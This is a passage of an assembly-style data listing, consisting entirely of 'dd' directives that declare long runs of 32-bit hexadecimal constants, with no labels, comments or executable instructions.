		dd 26DAF49Ch, 0D8618E63h, 0F0C7A839h, 0C08882C8h, 9D4E2511h
		dd 4406E60Dh, 0B40EA43Ah, 982D6008h, 9D464FA8h,	753091Dh
		dd 25E0A081h, 608C4BFBh, 0BB59A371h, 6A85E0Eh, 6EB2A048h
		dd 151E57Bh, 24840CF0h,	4E9CA2CFh, 0C708C8F0h, 4513B0E1h
		dd 5E006AF9h, 0A95BFB2Eh, 10E48B2h, 565863A1h, 50F77D75h
		dd 0E7F592DCh, 0F279F000h, 1A738946h, 608BE847h, 0CDB12056h
		dd 9B00CFE7h, 0B432A57Bh, 1884AAFCh, 0A8B9FF04h, 401DEADCh
		dd 1A8083E4h, 69D35433h, 0C8F500E8h, 4E11416Ah,	23008A3Ch
		dd 7621CBD1h, 179B4010h, 823993h, 0D513ABCBh, 0C6008AFEh
		dd 9F466CEBh, 1C1C0FEFh, 8064A03Ah, 7904C3F4h, 0AC073943h
		dd 701072B1h, 23EAF960h, 6C6E00CDh, 643E4604h, 7A794803h
		dd 0BF422600h, 0EAC94C86h, 93E8005Dh, 6F8F852Fh, 3900F7B0h
		dd 0AC73F470h, 778AB433h, 477700F2h, 3635DDA5h,	0EA30A826h
		dd 0C936C0Dh, 98CB3E85h, 11E0C000h, 0F9CC79C1h,	9C08C963h
		dd 3920000Fh, 485BC03Ch, 11D1C06h, 91018A5Fh, 0CEADC378h
		dd 850DD0h, 7B525AEBh, 99295CB1h, 84C4833h, 89210321h
		dd 945B5222h, 389BBFB0h, 5067B08h, 0C03A9ECCh, 0F70C0247h
		dd 0DA001159h, 21CE9013h, 850E97h, 1E8D919Ch, 870889DCh
		dd 74FCCB00h, 4D0BFF75h, 8CCF301Dh, 0D00DB0D0h,	9632BC00h
		dd 0A5093183h, 0A870007h, 4F7D35A3h, 0B2601BB5h, 23290C20h
		dd 20C25348h, 60AA58C4h, 0C00405EFh, 0F885EA21h, 94A01270h
		dd 7A002D78h, 4884210Fh, 6F8F8CECh, 21780859h, 0F0072CCh
		dd 0ACA522C1h, 11DB95E1h, 0F0E133Ah, 803318C3h,	70E85C1Ah
		dd 7D19C005h, 0EDE2F296h, 3C06D824h, 8D2A3100h,	0A0EA8709h
		dd 0A20880h, 0CD842C91h, 48F481F6h, 0AC417107h,	11B1E423h
		dd 9C4098F0h, 24018C53h, 8A004819h, 80F46310h, 41D8DCF6h
		dd 12755BA3h, 12BACC5Ch, 0C90355ABh, 95C89B0Ch,	6DD7A002h
		dd 858C0733h, 0CBE00936h, 60732C04h, 23E1C035h,	66113911h
		dd 0C0C35200h, 0AA9B1801h, 3A398260h, 1F4587h, 830D37CBh
		dd 69800BE2h, 1E043848h, 0B6CFB57Bh, 23C0F504h,	0F7B03F9h
		dd 62D4845Ah, 73D32079h, 9700E90Fh, 5C81A5E5h, 288C7430h
		dd 20FCF551h, 0EE008EE0h, 8B931B18h, 600C3AC5h,	18A41A7h
		dd 0E1C25DAh, 3E044887h, 64874927h, 30413D14h, 81991C1Dh
		dd 8C810249h, 0CD018312h, 5C9C0080h, 15F90093h,	8A8FA931h
		dd 40C1C95Eh, 0FADB590h, 0D5F8E440h, 20136283h,	8000C82Eh
		dd 8033F1A4h, 5D768CF6h, 4CEAAAF8h, 23C45B53h, 0C0370175h
		dd 0EC911E3h, 0C03D380Eh, 0AAD4BE01h, 57C98E3Bh, 0A75DE0A9h
		dd 72E9DD6Fh, 0C9210FD8h, 6461E6CBh, 4F12A111h,	0C39D88FCh
		dd 16C3A338h, 4C408FE2h, 0C1D7845h, 0DB828D82h,	63DFB20Eh
		dd 0F4E91DD9h, 1400F8A9h, 28BD7F01h, 655449C8h,	0E1EA0DA8h
		dd 0A37D300h, 2092CF5h,	0B608CC8Dh, 0F90E4221h,	2049B0D3h
		dd 4683C073h, 0F08A549Ah, 6501F114h, 673183B3h,	0E0D933BBh
		dd 0B82E76F5h, 54A40391h, 0CB4E5AFh, 900B9DA0h,	4C923271h
		dd 0EF014970h, 192CE9Eh, 0A450C406h, 48CFB5B0h,	8F289890h
		dd 10F60ED8h, 8BE4867Ch, 2BA0D094h, 68A423C8h, 35D3E704h
		dd 0BB62E50Ah, 0D3FF4020h, 768C5C4Dh, 8A3AE01h,	0C8B5BAF9h
		dd 2760371Eh, 3B7CF190h, 60D5490Dh, 0FE24EB3Ah,	0F43CF98h
		dd 62F4845Bh, 70D22074h, 2C741F0Fh, 8D4B3D07h, 4A9CF5Dh
		dd 1F53FB78h, 2001A304h, 4CB17D52h, 8B893D18h, 0C7552E4h
		dd 816431DFh, 8006ED1h,	57B801F3h, 21DBF09h, 24BCBB1Ah
		dd 1C41C049h, 0B084200Bh, 4A8C31C0h, 60020641h,	74B159CFh
		dd 0CE500C64h, 967CA610h
		dd 0D779C814h, 12223B0h, 0A3AD3E6h, 88B718FDh, 0D300FE43h
		dd 0F84F0EC2h, 9BB4F052h, 1875593Ch, 0C44A00F9h, 25700DE3h
		dd 8A78F6A4h, 28C80A29h, 46187471h, 0B93F980Bh,	6ACC0021h
		dd 4851F00Bh, 487948D1h, 0C1303009h, 0FF6605D1h, 109D8D14h
		dd 289A26A4h, 0A42F2B92h, 4700BA23h, 5C273A7Bh,	0C0480959h
		dd 34045008h, 5554007h,	0B03D9781h, 0CCD2010h, 0ADD3F0DFh
		dd 32507C1Eh, 8C1B5122h, 0E1298B49h, 71A8868Dh,	52C90964h
		dd 4064BBBh, 0EC48682Dh, 0C0FBC868h, 84200F7Dh,	8EC44053h
		dd 3000B0CDh, 32F70ADEh, 0A49A9201h, 287F3410h,	110A0222h
		dd 0A8DB2A98h, 2BA9AA09h, 117C1D78h, 5A958223h,	0BFFC68CFh
		dd 74E05877h, 869B40Ch,	0EB01C080h, 84A88DE8h, 0B1861071h
		dd 49330E06h, 2BB5B617h, 8F645C45h, 0D4349040h,	0E4B93813h
		dd 0CF820004h, 1D9D95FAh, 2CB971D5h, 0D8A3200h,	0CF2C425h
		dd 82955A19h, 4B2A8C41h, 910CBC96h, 0F0ECFE93h,	53B2E75h
		dd 733D405Ch, 20016A47h, 1E8F38DBh, 998036AAh, 0FC0510C9h
		dd 0C07B83Fh, 867AA2C3h, 911E020h, 78961579h, 5F80983Eh
		dd 0F4B17C52h, 0F227448Ch, 470052EAh, 21147CEBh, 40D5908Ch
		dd 0E00B1FEh, 8117714Ah, 1E8005CDh, 0C7848C20h,	215DEF1Dh
		dd 0C10DCC54h, 25944385h, 137108B8h, 0C833920Eh, 8C700044h
		dd 0D0356C7h, 8E7C9805h, 61BAC540h, 2B588E54h, 8F160946h
		dd 58E34077h, 14B7CC2h,	999AF1E0h, 0DCDA3E59h, 70904C8Bh
		dd 0C50D2620h, 6F43850h, 0D132ADA0h, 0A21AAF00h, 59B1DFEAh
		dd 95BD166Ah, 21E00E70h, 3EBC13B2h, 0BA2300h, 3C2D2285h
		dd 4067B48h, 34DE8811h,	0BC800C80h, 7F680239h, 92A86F65h
		dd 0B50BF441h, 0AFCCB142h, 0F64CB063h, 15EE1E1Ch, 99CE8B8h
		dd 9A741E8Dh, 4FDB440h,	3D304AE0h, 0D978507Ch, 23FB01BAh
		dd 93431C8Ah, 88982408h, 0A0D80220h, 60A73799h,	7842808Ah
		dd 901813E0h, 85203996h, 3F670A9Fh, 71204070h, 0C132CAD0h
		dd 34187034h, 11E6C00Bh, 26C9C31h, 7C0C253h, 0BC820E7Bh
		dd 1100330Dh, 0D2D60290h, 23803A68h, 0DB4C00B1h, 63DC249h
		dd 0D1B97200h, 85A94627h, 55441883h, 4D0B682Ah,	70A8D618h
		dd 0F41678E1h, 0FB53097Fh, 102339ADh, 0E6D89321h, 501F81DCh
		dd 0B2474BE1h, 1EC064A9h, 983C726Fh, 0E0DCF8B6h, 8C0C1802h
		dd 802B50E8h, 0C8CC6533h, 8E8FE868h, 0A0BF8B87h, 21395E66h
		dd 90790B0Fh, 89132C3Bh, 48A6008Bh, 264EF16Ah, 800EFF5h
		dd 1C63F90Bh, 7C9B30h, 2E291702h, 0A70D164h, 0D5F839C0h
		dd 26EB941h, 205B6C65h,	3C909DC1h, 4124AA0Ah, 8BB97027h
		dd 1071DEB0h, 6A170Ch, 3D824660h, 2B1F665Bh, 3700A17Fh
		dd 136E4EC8h, 1EA8F973h, 56EB7C18h, 7BE40EC7h, 146BDF60h
		dd 3A1EDC56h, 0A00820Dh, 0FDA7407Fh, 52C8006Dh,	3E2387E2h
		dd 4201F45Dh, 27DB8684h, 88CB1D5h, 0EC20E33Bh, 1300F4E6h
		dd 515DBAC3h, 0ECA6E811h, 4321008Bh, 9CF956FAh,	0A008D48h
		dd 146C5D61h, 0F243Fh, 5E256A77h, 8A79EE3h, 2E189900h
		dd 882F20D3h, 87F90657h, 684ED5F6h, 1E6D5E3Ch, 11B076B9h
		dd 1F658983h, 438B0CFBh, 847B7555h, 21009EA3h, 0DD6B71B9h
		dd 16985B5h, 0D4476FFCh, 81C5ECE0h, 0CE207579h,	30BCBBD5h
		dd 9380A73Ah, 32E69E8Bh, 0E46606F7h, 0F21AB08h,	5092B047h
		dd 0FBB31A80h, 40C42480h, 6A00201Fh, 0B127A1FCh, 8715570Eh
		dd 0FD092061h, 844163h,	7DADDBF6h, 32EF86F2h, 7795E10Fh
		dd 0C6F8181Dh, 112A000Ch, 0AA81F836h, 0A0C8AF91h, 9241C3C0h
		dd 35969E90h, 0FCC54586h, 440093BEh, 9BD93C2Ah,	300EF047h
		dd 0B021B370h, 0ECA853A5h, 0B228798Dh, 20F9B4D3h, 1F020F6Dh
		dd 0B67E05BAh, 60DC8080h, 5599D3h, 58502ECFh, 0D5AE82Ch
		dd 0A92A3Ch, 0AC4981FBh, 1B26D1BCh, 69AE770Eh, 1C5B823h
		dd 9E4293B8h, 0B1AC58EEh, 92D44689h, 836A0088h,	521F34D2h
		dd 0FF204951h, 877C2Bh,	0AB6236FBh, 0A0BB91A5h,	6C08156Fh
		dd 1FE92051h, 80DB36C0h, 0A17FD402h, 2200EF72h,	6EE0BADh
		dd 14F22DD9h, 802CFC3Ah, 59304D29h, 737418FFh, 8F343CD0h
		dd 77082E81h, 24C5A9F7h, 0B260DB38h, 37810BD1h,	992F0040h
		dd 31EC2C6Ch, 5DEAADB1h, 0F8A9FC28h, 460EFF01h,	76FDA421h
		dd 4202B826h, 4E85B9F4h, 15103D31h, 9900F484h, 1FFEFFF3h
		dd 7C058B8h, 5FF6F865h,	0B73182A9h, 0C677D880h,	0B11E9425h
		dd 7AC0645Dh, 0B6CB706Eh, 0D0F7122Ch, 0B4AC320Bh, 50896231h
		dd 0AC31930Ch, 6ABE11C6h, 127248C4h, 0C9122h, 1F88AC58h
		dd 50732F6Ch, 28BA8729h, 0FA659C00h, 8686630Ch,	64B410F7h
		dd 0CAE3006Ah, 0D9DBB9C6h, 8831F774h, 0B6D22189h, 52EEAC50h
		dd 0DDFA0059h, 348BC3EFh, 0B70222FEh, 0CFD18815h, 28E890E8h
		dd 0CC9E2891h, 901DF084h, 2854628h, 0AB8E36F7h,	10F931C5h
		dd 1361CE5h, 726BFD25h,	803319C2h, 0EF140E8h, 0C33E4932h
		dd 0F4D0F610h, 9D2BA900h, 41B098AFh, 7150002Ch,	89CD3332h
		dd 0A5005B81h, 0E3212D76h, 90F4E678h, 36CC00B0h, 0D0B4D26Ch
		dd 58003357h, 0DEF796ABh, 0A702394h, 8913B74Ah,	209A9FB0h
		dd 0ABF0AF03h, 8804F824h, 247E228Bh, 0C0B8C720h, 9E409246h
		dd 448635E2h, 1498D8DCh, 183E8007h, 0D1D13990h,	0B0326F72h
		dd 4A30CBF2h, 27EA0056h, 7D33378Ah, 709080B1h, 29A26630h
		dd 0E1F13A72h, 55CB9840h, 0E2C681E2h, 9E0C9844h, 31BC2D25h
		dd 4CC060C8h, 0DAFFA35Fh, 0A94CE100h, 0B8531B3h, 0C63A0177h
		dd 0A637740Fh, 3C9FDCBFh, 21D4D450h, 2CA26D0Fh,	904F8018h
		dd 0A7778188h, 26808C14h, 0AF049980h, 29B34CB8h, 3071C882h
		dd 4611F441h, 3188A684h, 0F44B1080h, 4C6E72h, 4CE3ACBh
		dd 0E7367CFh, 0E89A09EEh, 0A898B23Eh, 0D09E019h, 223B3932h
		dd 20F78E20h, 96C6E8F0h, 0F3A27E12h, 4B6F1004h,	4CE4884h
		dd 1EC0A288h, 0EF2A58h,	55B22657h, 60AB9D7Bh, 8C90BFFCh
		dd 25043B71h, 2381FAE3h, 0D90BC846h, 42F1E600h,	0DA3080F5h
		dd 98F3BCDh, 0C560540Ah, 469420F0h, 0F48B0277h,	0E7B685B8h
		dd 4D1E0014h, 34A3CDF4h, 185123Fh, 792B5F88h, 0D424BA3Eh
		dd 6B92831h, 8A49008Ch,	5F238CDDh, 2D587E09h, 602C0054h
		dd 5EB9E92Ah, 730303F6h, 0ECE26D37h, 0E18EBC88h, 48AC1A00h
		dd 0CC3257C4h, 0ECD00BFh, 0D6467FBEh, 68008F9Eh, 0D702D9AEh
		dd 262D3A92h, 3AFD5CD2h, 73FF8280h, 53E04B27h, 0D55F9000h
		dd 0CB2EAD09h, 48400B0h, 2464FDC7h, 1D010383h, 456A0D13h
		dd 0E1E0BF1Eh, 6C9B0082h, 0B3DDF11Bh, 8C5CABB5h, 88D70F14h
		dd 55D2E021h, 2E78491h,	9919DA33h, 0DEE0D098h, 3E05F8C7h
		dd 5D831F94h, 34E3043Fh, 1F56C8Bh, 154C8F08h, 0D327E062h
		dd 1D901E00h, 586F781Ah, 0E83500BCh, 8F5C1F07h,	0E1060D76h
		dd 15042766h, 6E542229h, 18312F10h, 0E2084A21h,	68E088D2h
		dd 8830CE88h, 5788166Eh, 84BC9017h, 0A248374Bh,	22CA0D42h
		dd 34006B48h, 0F6BEEEh,	790B4154h, 0B363ADF1h, 0D9051A00h
		dd 0CB5435Ah, 27680047h, 7DE8F494h, 0D3006638h,	6A553FCh
		dd 24F30Ah, 2B4DB6A2h, 0A68637F4h, 263BDD00h, 0CA34CC80h
		dd 5E100061h, 3748A31h,	8C0002E2h, 0DFD2852Ch, 148E953h
		dd 0BB45439Ah, 80B28407h, 0C9518B18h, 7BAEC26h,	89B55414h
		dd 0C57D3086h, 0B700678Eh
		dd 0EC3647ADh, 0E83B34ABh, 8B5E00EAh, 0F5D51F3h, 6100442Dh
		dd 0DABA95C4h, 0FD399DDh, 0ED74E3B7h, 61C8A9Ch,	0CDB683ECh
		dd 79A8C1DAh, 0B500F88Fh, 5EBA283Ah, 7AD7644h, 839F1AB2h
		dd 0FF983716h, 423D7263h, 0D0DDA1C9h, 0B100A419h, 811BB3E9h
		dd 6032BA5h, 0CDF1A28Eh, 20021146h, 752EFF7Ah, 2CEF0EB9h
		dd 2B328E0h, 3D729BC8h,	0CCACA701h, 46345632h, 54243024h
		dd 539C5Fh, 919626F5h, 42E86E0Fh, 4FF05701h, 66880A62h
		dd 0E5F3EE4h, 0A7781EB3h, 0B3289A67h, 93A8CDDEh, 4D00D38Ah
		dd 0FF31F30Eh, 13957ABh, 0A73DC6Dh, 0F0A7D047h,	131EE5F2h
		dd 78800B40h, 41C8FA66h, 849F0024h, 0E0AFF0DBh,	5300D78Ah
		dd 0C438CAA3h, 67A24Eh,	0A164FEBDh, 9CE7908Eh, 0EE589403h
		dd 0E8621246h, 0CBC57Ch, 72BB1FCCh, 28736E49h, 9F210301h
		dd 327F0EAFh, 1C62FDC0h, 40CECC4Bh, 0D55658B9h,	8E02AF30h
		dd 680561A8h, 46888A90h, 2C2E0400h, 0B16DA6h, 4B8919C8h
		dd 6C2166F3h, 97CADB0Eh, 0FCDC00FFh, 0E0AC8393h, 37A90015h
		dd 659F5DF9h, 64B07C1Bh, 0CC42D40Fh, 581D5293h,	0AC584E00h
		dd 0F469C43Fh, 6FF827h,	5FEAEB1Ch, 0B3109A97h, 3F6BB00Bh
		dd 0B56B80DEh, 7B8671BCh, 7B210068h, 6ADB455h, 0C4005A9Ch
		dd 0D307B529h, 0EF66896h, 0EEF5EFACh, 93D1C5C0h, 0C80935E9h
		dd 80E722h, 8AD4392Ch, 0F4FB7317h, 0F638E232h, 9B4200F0h
		dd 6A2E099h, 7000EF4Ah,	0A5B61F1Dh, 0A076B3h, 0FE839B19h
		dd 153B8D7h, 170247F2h,	0AF6B3364h, 1F4C60F9h, 0B1C001Bh
		dd 38C3D3D9h, 771D88FFh, 0B24FA080h, 9031613Dh,	8AF524F9h
		dd 0C874F880h, 8DCD8037h, 17CCE0F7h, 50C41B07h,	76E04A46h
		dd 85FA65h, 0A6F30D74h,	9BA46EA5h, 0DD80E600h, 2305AEB9h
		dd 0F28FE017h, 0CD900050h, 39436A55h, 0E10EBCE3h, 0A0B410AAh
		dd 0A877B385h, 9FF30E1Bh, 0B7C0DF9Bh, 7E38AED2h, 4F056901h
		dd 5F0EB272h, 3DF4FC40h, 42EE00F3h, 2094172Dh, 13C224Dh
		dd 8D9F00B7h, 0BA0CF23Fh, 703600C6h, 85A23D47h,	0B9ECC5C3h
		dd 6CFED901h, 0C73E7A18h, 53ADB840h, 79EE1D1Eh,	1BC401Fh
		dd 0C16F03DCh, 0CE727C00h, 7E31CB15h, 1DC002EEh, 4A77C74Ch
		dd 0B98A1C60h, 0E700F790h, 96975BDBh, 69460Dh, 510E9BF0h
		dd 0FC8A0458h, 0A3FA8B01h, 0EF800873h, 62B6F8h,	0AFECC376h
		dd 307AE00Ch, 4403C474h, 1D07258Bh, 2FDC985Dh, 183300D8h
		dd 193D10D7h, 201CF23Ah, 240E59Ch, 0FCF63ECEh, 139A09EAh
		dd 0B0B0F871h, 44012E2Ch, 5A7E8179h, 0B840BC3Fh, 122BAEB7h
		dd 2A06FDh, 31E86A24h, 0D648E95Ah, 1F661118h, 7552AA06h
		dd 8203E809h, 20C4D165h, 7095F83Fh, 0ECC67EE5h,	98320278h
		dd 0AD4C5BBBh, 0A75DF440h, 53BCE200h, 3F75604Bh, 7F91019Ch
		dd 30C7DA45h, 178BA6Eh,	0CCF9FB93h, 0EEF5859Eh,	1B597F4h
		dd 1D7365F4h, 0CC9C4B8Fh, 0D7000478h, 0BC8CE137h, 4974DD0h
		dd 680D6C2Fh, 0DC78C0C4h, 210178B7h, 16E0E7Dh, 0F4C4CAB8h
		dd 0F610CFDh, 8520A37Eh, 0C7192009h, 257183E1h,	9603E8C2h
		dd 4141C098h, 1524B4C4h, 0A98B6601h, 60F6834Eh,	0A0DE4h
		dd 4644E502h, 96C7431Fh, 0A63AE600h, 0D08CFC6Ah, 0C2531D18h
		dd 0CB3B00F5h, 956F46E4h, 80A6143Dh, 7A1B52A4h,	639DC3h
		dd 0E92F3161h, 4D7DA07h, 639D400h, 156DCFA7h, 5AFE018Ah
		dd 4D86F2BEh, 0DC11D03Bh, 0E3822904h, 4BC00BD5h, 246341BFh
		dd 0A0D0A10h, 16A01B7Dh, 8DBA00D4h, 9B50FD16h, 3D19E007h
		dd 5E80E3A5h, 0BDF2D8h,	0EF6056BCh, 0C4C72732h,	9F2B9800h
		dd 0D081250Eh, 1F6900A6h, 6BE8F8EEh, 0D1005B30h, 84A0D8CAh
		dd 0A5A22Dh, 0C7BF9FBEh, 4808B805h, 145B3824h, 24CD7309h
		dd 790EA64h, 50DAD0h, 8E05A5A1h, 22619EE9h, 0C0087128h
		dd 8063F03Bh, 8D807EDEh, 4F1BDB7h, 9549D732h, 0E67891AEh
		dd 9A19C43Ch, 0D37D4B00h, 0C7D142E2h, 29F51CB6h, 81EDCBB7h
		dd 0AB76DC00h, 0A907E51Ah, 0A49BC4Ah, 0AAA7E697h, 83530E50h
		dd 0BF24009Eh, 33C5F07Ah, 0E105E9FBh, 0D0886A95h, 74168F00h
		dd 332E37Ch, 8131226Dh,	87987B6Eh, 0DF00DB98h, 0B4963D9h
		dd 7B8DFC4Eh, 0DDD100AEh, 4B4742A7h, 0B309150Dh, 3ED4051h
		dd 0F8F293B0h, 0FCE7EEAh, 61DF54B5h, 0DA645D40h, 96008225h
		dd 8AF52E4Ch, 0EDE7E2h,	55BFC6D7h, 0A8FF900Ah, 0F19F4E00h
		dd 1A37D5CAh, 3BFD3CCDh, 444AB600h, 5A85E815h, 0F3872901h
		dd 0C48ECEFh, 0E3A07D8h, 2EC58E40h, 0D8E7A400h,	0D50958D7h
		dd 87A7B0F7h, 1290489Dh, 0D16799h, 0F64BCB38h, 665F5EE4h
		dd 0F3B811Ch, 41D7AB04h, 2A3EF880h, 9B9E0F5Ch, 0FAEF6845h
		dd 5480EACFh, 0DC849204h, 0A11E6000h, 2457670Fh, 1C73EA8Ch
		dd 81AE1ACFh, 1C940B7h,	5F7CDCD4h, 31F8D509h, 856C8E28h
		dd 68D00BACh, 1D586D8Eh, 810662A7h, 53BADF36h, 0D120602Ch
		dd 9DF9490Bh, 0BC4C03ECh, 0F8DB9821h, 0A8A31383h, 0AC881411h
		dd 471A0092h, 0E2CC53BEh, 80AF593Fh, 0DC8F9135h, 2549A6h
		dd 98208178h, 5CA1546Bh, 0CC3D8A01h, 40C535C0h,	0C030462h
		dd 8BA49FB9h, 197D05F0h, 0B243D200h, 77D1C276h,	1D1500C4h
		dd 30C06D94h, 0DB7CF578h, 0E8D84660h, 0FC8F898Bh, 0B47717ABh
		dd 0BB28000Ah, 0D82B0501h, 4978D6F8h, 5A205803h, 0A41810E5h
		dd 2D53A080h, 6C0C1DB5h, 0FF92C5CAh, 3A088036h,	6803A58Ah
		dd 820E79C9h, 0E166B250h, 0BEC4C2D4h, 2AE00F5Fh, 833E9D16h
		dd 4F7482B1h, 0E5F80CE0h, 0F91EA090h, 0E02B3Ah,	0FADF4166h
		dd 1EB358CFh, 11750600h, 5571107Eh, 3F97F46Bh, 0DB81879Fh
		dd 8EABC8D2h, 6D047098h, 0E71C370Ch, 891162h, 0FE5D07DDh
		dd 666EEB3Dh, 0CCB8047Dh, 4E3B8E0Fh, 6C82088h, 10A7ABh
		dd 80D29401h, 0AC0F836Bh, 0D38C40EBh, 0EC09B168h, 3A30CDBh
		dd 88854DE0h, 25EF46h, 10419A12h, 0A00FDDFAh, 88F91500h
		dd 3C7EDB3Fh, 0BC93197Dh, 700C0AA6h, 2E1D37A3h,	1707BDB0h
		dd 0D020F0EBh, 24728B09h, 680149h, 0C4FAE3CFh, 415D8F1Bh
		dd 9EA048ECh, 57D0FB41h, 0C9E4FE44h, 66410014h,	0D1B25DF7h
		dd 37036CD6h, 0BFE4094Bh, 13E87D9Eh, 40D2B07Bh,	0D3380A80h
		dd 0D4007934h, 0A2452A5Ah, 0A0A4598Eh, 0ED8280h, 1D9A6DB9h
		dd 0BF067B0Bh, 63735702h, 8014E2F3h, 9992A1D4h,	81D0017h
		dd 861E64DEh, 670961DCh, 0ED284FAh, 3AD3008Ch, 670F7E1h
		dd 915EAB34h, 971FC899h, 3FB8FFE2h, 9C1A8024h, 52EA4582h
		dd 0FBA60BB8h, 80DF9527h, 38075450h, 0B0760006h, 7991DC58h
		dd 0BF01D273h, 943ECAA3h, 0E4C02CDAh, 0E0690090h, 0AC6880D9h
		dd 3007FAEh, 811EADA5h,	394CE1F7h, 85002733h, 0E4245BC5h
		dd 0DF50D354h, 0E2F6E9BFh, 39359C0Ah, 0D202BCC7h, 405E7E3Eh
		dd 0CCA7B3Ch, 0FE791733h, 26F869EEh, 920A5D07h,	490AFD1h
		dd 0F7BC94h, 0B7DF3D01h, 0B569C083h, 0F7274Ch, 45E91D4Ah
		dd 1857597Ch, 989EB775h, 9FF44Eh, 8203DACEh, 441A0072h
		dd 5E14B8DBh, 7AFCC048h, 803A0138h, 27557BA5h, 0FC3E4536h
		dd 3DBD00B5h, 92BF59EAh, 1E00B2DAh, 0FAFB5FE4h,	479EC3h
		dd 0B5FD71B0h, 0A08815D1h, 0F0126EFEh, 8009A8Eh, 97C926B9h
		dd 0BDAD00F5h, 365EF94Ah, 0EB1FB229h, 60C017D8h, 0F7697B15h
		dd 7ACE004Bh, 0BBB6A0Dh, 0B4034520h, 50097F51h,	5BF58086h
		dd 93EF0049h, 88C2BCEEh
		dd 0F4A09ECAh, 3730A3F9h, 0CD408898h, 30D57C62h, 0E3210F65h
		dd 200AC0Bh, 4F6411A6h,	98168B1Dh, 0FF800094h, 0F9D1599Ah
		dd 0C92E8E6h, 68845D07h, 8AF05C31h, 528539Fh, 0ACBD55E1h
		dd 0F271C13Bh, 9D83F02Dh, 92D48C00h, 0BC7B3DECh, 9A9090E4h
		dd 16E172CCh, 1748BEh, 23EFD4FCh, 554CDF6Eh, 30E0263Ch
		dd 9D8BAD04h, 3174CE0h,	0EAB0631Ch, 23D1936Ch, 52CCD8BCh
		dd 87CA501h, 124DE9D5h,	112840E6h, 305600F3h, 9BFF84C1h
		dd 0EA00E7F8h, 4F1F9D4h, 590E86h, 71BEB2A9h, 91651BDCh
		dd 82075C90h, 9E020369h, 7FE99990h, 96A4FBFh, 0D80005E0h
		dd 41822E3Ah, 0C7323600h, 25170EFFh, 0FE8EEE9Bh, 74E9005Dh
		dd 6E6F9146h, 0F7791DDEh, 33435707h, 28007383h,	330192Ch
		dd 55D626CEh, 4888DDE8h, 0A9017793h, 0ED675902h, 303C768Bh
		dd 1A656800h, 5ACA06EAh, 0EC4E1024h, 0E419100h,	3C5466EFh
		dd 304D53E1h, 7EB1BF04h, 0DC905258h, 0EAC713h, 0F01EF155h
		dd 2F744F51h, 1A49h, 82BE5BE1h,	729303B2h, 7CDF266Ah, 38238020h
		dd 0F04162D6h, 754145Ch, 0D84FA203h, 1D7050F0h,	66520006h
		dd 0E9432969h, 3072BABh, 940B4A36h, 0A19224B0h,	0C94C00DDh
		dd 0BCDF07A7h, 320C1B5Fh, 0A8AB4756h, 3A692C83h, 1CD14300h
		dd 0D3706800h, 71C09446h, 58A0625Eh, 1604D5Ch, 731C3793h
		dd 81C021E8h, 0FBBE9956h, 639400FDh, 0BB23C191h, 44067419h
		dd 0CE9EFC1Eh, 93872270h, 982EA925h, 58AE90h, 0CF9E35D3h
		dd 302A2CC5h, 9F49F716h, 0B94B3100h, 35F0FB7h, 0E21394EDh
		dd 0C9882550h, 0B304F9A9h, 0EA62661Ch, 0C6BF5490h, 0C1E301F8h
		dd 39854552h, 181880F3h, 69D93F47h, 91BB0028h, 0B7269465h
		dd 67000D27h, 85C0E5BAh, 9F1B11h, 0C6F7CAA7h, 0E493FB60h
		dd 0DE255A03h, 8829788Ch, 1287E18h, 521BABE3h, 0F84F38D9h
		dd 0C7076971h, 1FE43FCh, 483B3510h, 499002Fh, 0E423C9F9h
		dd 80A09DB4h, 8A00C388h, 0E925A80Ah, 819524h, 0F93ED71Ch
		dd 69675FF7h, 8E9B1900h, 0CF86608h, 98D53F51h, 0C925833Bh
		dd 46E89C00h, 0EF1C5E4Ah, 64E41B48h, 7C14E700h,	9D8041Ch
		dd 2279F35Ch, 0ACB49082h, 0DF005870h, 0C5A9F831h, 4BF2D4Ch
		dd 4A90170Fh, 3B98A0DDh, 0B9D66700h, 4259B170h,	1F9001Ah
		dd 0F63D2357h, 521FC502h, 0CB40819Dh, 44A0E6D9h, 0AE2B0321h
		dd 1D7A270Ch, 0EEDE45C8h, 50C348h, 9FF88012h, 14771971h
		dd 0C80C3B52h, 396D0200h, 3C7BFCECh, 6968C800h,	0ED7898B8h
		dd 0C5233E40h, 3B974481h, 0C0F7D388h, 0B303A5BAh, 6A9B100Ch
		dd 0A3D7E812h, 0CE6000A9h, 0E167817Fh, 1A0991C4h, 80F93AB1h
		dd 61CA9C32h, 96D72E54h, 92FE0060h, 0E8D05AF1h,	4F08248h
		dd 0A925BA5Bh, 5704487h, 1201A88Ah, 5DD2DA3Eh, 81340D0h
		dd 35DF52D4h, 16009498h, 178AF0EDh, 69744Bh, 0AC8E3B26h
		dd 0CA1413B9h, 660044B0h, 120EA86Fh, 286756h, 0D083FF9Ah
		dd 0B92BAEBBh, 5276FFA0h, 30F85430h, 3C1CAD6Eh,	77011892h
		dd 49482520h, 0FBE8E899h, 0ACA85F26h, 21FD0207h, 1AAEBE3h
		dd 8CF3EA10h, 0D0E19C35h, 4A00DAD6h, 67E3C87Dh,	16C66Ah
		dd 0F46DE9F8h, 513E3DB0h, 1B6E6300h, 9531F7E4h,	0E117CB4h
		dd 73BEE625h, 97746122h, 0CB5414C0h, 10F3C300h,	28331DD6h
		dd 44141F9Ch, 4810EDAAh, 0EF00C53Fh, 0BE094313h, 723C414h
		dd 0EB834B05h, 0BC4CA37Ah, 0F510AC13h, 0B7C71420h, 8AE8009Ch
		dd 0C64EE38Eh, 3098A1B6h, 9EB41B00h, 0E957D694h, 495C4AF9h
		dd 0E90E2604h, 8BF5E620h, 0C5007C47h, 0CB0F1F11h, 16B72544h
		dd 49E3E4Bh, 0C029DCDAh, 23D0104Ch, 82CB702Dh, 0C037C8CCh
		dd 13D971CEh, 0C3F15F3Dh, 0D0000B98h, 86F998C3h, 9AE5F3h
		dd 0CC0E76Dh, 62A6C87Bh, 6B129000h, 0E160AEF1h,	3D55070Dh
		dd 80FCFF02h, 0B0EF50ACh, 0DC4DD898h, 2CB40016h, 0FDD74621h
		dd 6D520154h, 5BD48A2Dh, 5A2881F0h, 0CA506AE0h,	5E3C20h
		dd 0D050975h, 1C830A7Bh, 67C17802h, 4040CF65h, 0B85EF5B4h
		dd 0C27B1D0Ah, 4B60C094h, 3F4AB5D0h, 1FEC4748h,	0FB44D3CDh
		dd 0F280D6FFh, 3CEB5D80h, 0BA003F9Ah, 0B006204Bh, 461D036Fh
		dd 8180FD68h, 7D0A5751h, 5CCD00A4h, 7ABD66DEh, 25E6E8FAh
		dd 60773CFEh, 94A1704Eh, 6F129851h, 0B5A430h, 0D07C500Eh
		dd 478EF591h, 361DCE00h, 924E52BCh, 0D9041F17h,	580FD10h
